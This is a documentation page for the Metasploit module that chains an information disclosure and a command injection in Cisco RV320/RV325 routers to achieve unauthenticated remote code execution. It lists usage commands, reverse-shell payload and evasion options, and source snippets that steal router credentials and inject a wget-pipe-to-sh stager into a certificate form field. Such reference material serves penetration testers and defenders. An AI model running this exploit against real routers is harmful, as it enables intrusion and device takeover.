Cisco RV320 and RV325 Unauthenticated Remote Code Execution - Metasploit

This page contains detailed information about how to use the exploit/linux/http/cisco_rv32x_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

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Name: Cisco RV320 and RV325 Unauthenticated Remote Code Execution
Module: exploit/linux/http/cisco_rv32x_rce
Source code: modules/exploits/linux/http/cisco_rv32x_rce.rb
Disclosure date: 2018-09-09
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8007, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2019-1652, CVE-2019-1653

This exploit module combines an information disclosure (CVE-2019-1653) and a command injection vulnerability (CVE-2019-1652) together to gain unauthenticated remote code execution on Cisco RV320 and RV325 small business routers. Can be exploited via the WAN interface of the router. Either via HTTPS on port 443 or HTTP on port 8007 on some older firmware versions.

Module Ranking and Traits

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Module Ranking:

• normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

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msf > use exploit/linux/http/cisco_rv32x_rce
msf exploit(cisco_rv32x_rce) > exploit

Required Options

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• RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

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Go back to menu.

Msfconsole Usage

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Here is how the linux/http/cisco_rv32x_rce exploit module looks in the msfconsole:

msf6 > use exploit/linux/http/cisco_rv32x_rce

[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(linux/http/cisco_rv32x_rce) > show info

       Name: Cisco RV320 and RV325 Unauthenticated Remote Code Execution
     Module: exploit/linux/http/cisco_rv32x_rce
   Platform: Linux
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2018-09-09

Provided by:
  RedTeam Pentesting GmbH
  Philip Huppert
  Benjamin Grap

Available targets:
  Id  Name
  --  ----
  0   LINUX MIPS64

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  HTTPDELAY  15               yes       Time that the HTTP Server will wait for the payload request
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      8007             yes       The target port (TCP)
  SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT    8080             yes       The local port to listen on.
  URIPATH    /                yes       The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)
  USE_SSL    false            no        Negotiate SSL/TLS for outgoing connections
  VHOST                       no        HTTP server virtual host

Payload information:
  Avoid: 0 characters

Description:
  This exploit module combines an information disclosure 
  (CVE-2019-1653) and a command injection vulnerability 
  (CVE-2019-1652) together to gain unauthenticated remote code 
  execution on Cisco RV320 and RV325 small business routers. Can be 
  exploited via the WAN interface of the router. Either via HTTPS on 
  port 443 or HTTP on port 8007 on some older firmware versions.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2019-1653
  https://nvd.nist.gov/vuln/detail/CVE-2019-1652
  https://www.exploit-db.com/exploits/46243
  http://www.securityfocus.com/bid/106728
  http://www.securityfocus.com/bid/106732
  https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export
  https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection

Module Options

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This is a complete list of options available in the linux/http/cisco_rv32x_rce exploit:

msf6 exploit(linux/http/cisco_rv32x_rce) > show options

Module options (exploit/linux/http/cisco_rv32x_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  15               yes       Time that the HTTP Server will wait for the payload request
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8007             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   URIPATH    /                yes       The path for the stager. Keep set to default! (We are limited to 50 chars for the initial command.)
   USE_SSL    false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                       no        HTTP server virtual host

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   LINUX MIPS64

Advanced Options

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Here is a complete list of advanced options supported by the linux/http/cisco_rv32x_rce exploit:

msf6 exploit(linux/http/cisco_rv32x_rce) > show advanced

Module advanced options (exploit/linux/http/cisco_rv32x_rce):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   CMDSTAGER::DECODER                                                          no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto                                                no        The CMD Stager to use. (Accepted: auto, bourne)
   CMDSTAGER::SSL          false                                               no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                                             no        Writable directory for staged files
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EXE::Custom                                                                 no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false                                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                                               no        Use the default template in case the specified one is missing
   EXE::Inject             false                                               no        Set to preserve the original EXE function
   EXE::OldMethod          false                                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                                   no        The directory in which to look for the executable template
   EXE::Template                                                               no        The executable template file name.
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   ListenerComm                                                                no        The specific communication channel to use for this service
   MSI::Custom                                                                 no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false                                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                                   no        The directory in which to look for the msi template
   MSI::Template                                                               no        The msi template file name
   MSI::UAC                false                                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   SSLCipher                                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                               no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                               no        Return a robots.txt file if asked for one
   URIHOST                                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                                     no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (generic/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   ARCH                                         no        The architecture that is being targeted
   PLATFORM                                     no        The platform that is being targeted
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

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Here is a list of targets (platforms and systems) which the linux/http/cisco_rv32x_rce module can exploit:

msf6 exploit(linux/http/cisco_rv32x_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   LINUX MIPS64

Compatible Payloads

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This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/cisco_rv32x_rce exploit:

msf6 exploit(linux/http/cisco_rv32x_rce) > show payloads

Compatible Payloads
===================

   #  Name                                            Disclosure Date  Rank    Check  Description
   -  ----                                            ---------------  ----    -----  -----------
   0  payload/generic/custom                                           normal  No     Custom Payload
   1  payload/generic/shell_bind_tcp                                   normal  No     Generic Command Shell, Bind TCP Inline
   2  payload/generic/shell_reverse_tcp                                normal  No     Generic Command Shell, Reverse TCP Inline
   3  payload/linux/mips64/meterpreter_reverse_http                    normal  No     Linux Meterpreter, Reverse HTTP Inline
   4  payload/linux/mips64/meterpreter_reverse_https                   normal  No     Linux Meterpreter, Reverse HTTPS Inline
   5  payload/linux/mips64/meterpreter_reverse_tcp                     normal  No     Linux Meterpreter, Reverse TCP Inline

Evasion Options

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Here is the full list of possible evasion options supported by the linux/http/cisco_rv32x_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/http/cisco_rv32x_rce) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTML::base64                  none             no        Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
   HTML::javascript::escape      0                no        Enable HTML obfuscation via HTML escaping (number of iterations)
   HTML::unicode                 none             no        Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

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This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Connection failed.

---

Here is a relevant code snippet related to the "Connection failed." error message:

88:	    res = send_request_cgi({
89:	      'uri' => normalize_uri("cgi-bin","config.exp"),
90:	      'SSL' => datastore['USE_SSL']
91:	    })
92:	    unless res
93:	      vprint_error('Connection failed.')
94:	      return nil
95:	    end
96:	
97:	    unless res.code == 200
98:	      vprint_error('Could not download config. Aborting.')

Could not download config. Aborting.

---

Here is a relevant code snippet related to the "Could not download config. Aborting." error message:

93:	      vprint_error('Connection failed.')
94:	      return nil
95:	    end
96:	
97:	    unless res.code == 200
98:	      vprint_error('Could not download config. Aborting.')
99:	      return nil
100:	    end
101:	
102:	    print_status("Successfully downloaded config")
103:	    username = res.body.match(/^USERNAME=([a-zA-Z]+)/)[1]

Connection failed during login. Aborting.

---

Here is a relevant code snippet related to the "Connection failed during login. Aborting." error message:

112:	      'method' => 'POST',
113:	      'data' => "login=true&portalname=CommonPortal&password_expired=0&auth_key=#{authkey}&auth_server_pw=Y2lzY28%3D&submitStatus=0&pdStrength=1&username=#{username}&password=#{pass}&LanguageList=Deutsch&current_password=&new_password=&re_new_password="
114:	    })
115:	
116:	    unless res
117:	      vprint_error('Connection failed during login. Aborting.')
118:	      return nil
119:	    end
120:	
121:	    unless res.code == 200
122:	      vprint_error('Login failed with downloaded credentials. Aborting.')

Login failed with downloaded credentials. Aborting.

---

Here is a relevant code snippet related to the "Login failed with downloaded credentials. Aborting." error message:

117:	      vprint_error('Connection failed during login. Aborting.')
118:	      return nil
119:	    end
120:	
121:	    unless res.code == 200
122:	      vprint_error('Login failed with downloaded credentials. Aborting.')
123:	      return nil
124:	    end
125:	
126:	    #Extract authentication cookies
127:	    cookies = res2.get_cookies()

Warning: Staging command length probably too long. Trying anyway...

---

Here is a relevant code snippet related to the "Warning: Staging command length probably too long. Trying anyway..." error message:

131:	    #Build staging command
132:	    command_string = CGI::escape("'$(wget -q -O- #{payload_url}|sh)'")
133:	    if(command_string.length <= 63)
134:	      print_status("Staging command length looks good. Sending exploit!")
135:	    else
136:	      vprint_error("Warning: Staging command length probably too long. Trying anyway...")
137:	    end
138:	
139:	    res3 = send_request_cgi({
140:	      'uri' => normalize_uri("certificate_handle2.htm"),
141:	      'SSL' => datastore['USE_SSL'],

Connection failed while sending command. Aborting.

---

Here is a relevant code snippet related to the "Connection failed while sending command. Aborting." error message:

164:	                    'SelectSubject_s' => '1'
165:	        },
166:	        'data' => "common_name=#{command_string}"
167:	    })
168:	    unless res3
169:	      vprint_error('Connection failed while sending command. Aborting.')
170:	      return nil
171:	    end
172:	
173:	    unless res3.code == 200
174:	      vprint_error('Sending command not successful.')

Sending command not successful.

---

Here is a relevant code snippet related to the "Sending command not successful." error message:

169:	      vprint_error('Connection failed while sending command. Aborting.')
170:	      return nil
171:	    end
172:	
173:	    unless res3.code == 200
174:	      vprint_error('Sending command not successful.')
175:	      return nil
176:	    end
177:	    print_status("Sending payload timed out. Waiting for stager to connect...")
178:	  end
179:	

Connection failed.

---

Here is a relevant code snippet related to the "Connection failed." error message:

180:	  def check
181:	    #Check if device is vulnerable by downloading the config
182:	    res = send_request_cgi({'uri'=>normalize_uri("cgi-bin","config.exp")})
183:	
184:	    unless res
185:	      vprint_error('Connection failed.')
186:	      return CheckCode::Unknown
187:	    end
188:	
189:	    unless res.code == 200
190:	      return CheckCode::Safe

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Related Pull Requests

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• #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
• #11482 Merged Pull Request: RV320 Unauthenticated Remote Code Execution Exploit Module

References

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• CVE-2019-1653
• CVE-2019-1652
• EDB-46243
• BID-106728
• BID-106732
• https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-002/-cisco-rv320-unauthenticated-configuration-export
• https://www.redteam-pentesting.de/en/advisories/rt-sa-2018-004/-cisco-rv320-command-injection

See Also

---

Check also the following modules related to this module:

• auxiliary/gather/cisco_rv320_config
• exploit/linux/http/cisco_asax_sfr_rce
• exploit/linux/http/cisco_firepower_useradd
• exploit/linux/http/cisco_hyperflex_file_upload_rce
• exploit/linux/http/cisco_hyperflex_hx_data_platform_cmd_exec
• exploit/linux/http/cisco_prime_inf_rce
• exploit/linux/http/cisco_rv_series_authbypass_and_rce
• exploit/linux/http/cisco_ucs_cloupia_script_rce
• exploit/linux/http/cisco_ucs_rce
• exploit/linux/misc/cisco_rv340_sslvpn
• exploit/linux/ssh/cisco_ucs_scpuser
• exploit/multi/http/cisco_dcnm_upload
• exploit/multi/http/cisco_dcnm_upload_2019
• exploit/windows/browser/cisco_anyconnect_exec
• exploit/windows/browser/cisco_playerpt_setsource
• exploit/windows/browser/cisco_playerpt_setsource_surl
• exploit/windows/browser/cisco_webex_ext
• auxiliary/dos/cisco/cisco_7937g_dos
• auxiliary/dos/cisco/cisco_7937g_dos_reboot
• auxiliary/dos/cisco/ios_http_percentpercent
• auxiliary/dos/cisco/ios_telnet_rocem
• auxiliary/spoof/cisco/cdp
• auxiliary/spoof/cisco/dtp
• exploit/linux/http/cve_2019_1663_cisco_rmi_rce

Related Nessus plugins:

• Cisco Small Business RV320 and RV325 Routers Information Disclosure Vulnerability (cisco-sa-20190123-rv-info) (remote check)
• Cisco Small Business RV320 and RV325 Routers Multiple Vulnerabilities (cisco-sa-20190123-rv-inject, cisco-sa-20190123-rv-info)

Authors

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• RedTeam Pentesting GmbH
• Philip Huppert
• Benjamin Grap

Version

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This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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